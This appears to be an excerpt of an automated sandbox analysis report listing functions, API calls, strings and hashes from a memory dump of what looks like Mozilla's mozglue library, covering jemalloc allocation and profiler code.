memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

C>il, xrefs: 6C693E93
nvinit.dll, xrefs: 6C694479
nvd3d9wrap.dll, xrefs: 6C694466

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10
MOZ_CRASH(), xrefs: 6C670CA7

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C6A5E79, 6C6A5E8F
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
schema, xrefs: 6C6A606D
expected a Time entry, xrefs: 6C6A5CB6
expected a Count entry, xrefs: 6C6A5AC3
data, xrefs: 6C6A6131

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

set , xrefs: 6C6A36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
get , xrefs: 6C6A3205

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C697ECF, 6C698335
vml, xrefs: 6C698207
schema, xrefs: 6C6981E3, 6C698311
(pre-xul), xrefs: 6C697E88
data, xrefs: 6C698280, 6C6983E1

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

<jemalloc>, xrefs: 6C67D827
: (malloc) Error initializing arena, xrefs: 6C67D82C

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

(root), xrefs: 6C6A354F
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

NaN, xrefs: 6C6B9EAB
-Infinity, xrefs: 6C6B9E60, 6C6B9E7B

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C65DE7F
@, xrefs: 6C65DAF6
8, xrefs: 6C65DC08
0, xrefs: 6C65D852
0, xrefs: 6C65DC7F
-, xrefs: 6C65D7DD
1, xrefs: 6C65DBDD
, xrefs: 6C65DA88

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C5703, 6C6C921F, 6C6C56C7, 6C6C5740, 6C6C9459, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

